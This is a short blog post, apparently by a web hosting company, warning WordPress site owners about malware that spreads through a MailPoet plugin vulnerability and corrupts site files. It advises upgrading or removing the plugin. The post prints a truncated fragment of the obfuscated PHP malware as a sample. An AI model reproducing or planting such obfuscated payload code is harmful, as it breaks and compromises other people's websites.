Malware Infection Breaking WordPress Websites

Malware Infection Breaking WordPress Websites

There is a known malware infection caused by a serious vulnerability in the MailPoet WordPress plugin. This malicious attack attempts to slyly inject Spam into the hacked site, which is causing websites to break, and focuses predominantly on WordPress sites with outdated plugins or weak admin passwords.

The infected PHP code is very buggy and is corrupting legitimate website files, as well as themes and plugin files, which causes PHP errors to be displayed instead of website content:

Parse error: syntax error, unexpected ‘)’ in /home/user/public_html/site/wp-config.php on line 91

After removing the infecting malware, the only way to remedy the issues is to restore the corrupted files from a backup. This is what the malware code looks like:

< ?php $pblquldqei = ’5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%xq%x5c%x7825%x5?c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q7825)3?of:opjudovg< ~%x5c%x7824!%x5c%x782421787825!|!*!***b%x5c%x7825)…

If you are running MailPoet, we recommend upgrading it to the latest version.

Note : If you do not have a firewall on your website, you have to upgrade the plugin or remove it altogether to avoid more issues.

Vishwajit Kale

Vishwajit Kale blazed onto the digital marketing scene back in 2015 and is the digital marketing strategist of Hostripples, a company that aims to provide affordable web hosting solutions. Vishwajit is experienced in digital and content marketing along with SEO. He's fond of writing technology blogs, traveling and reading.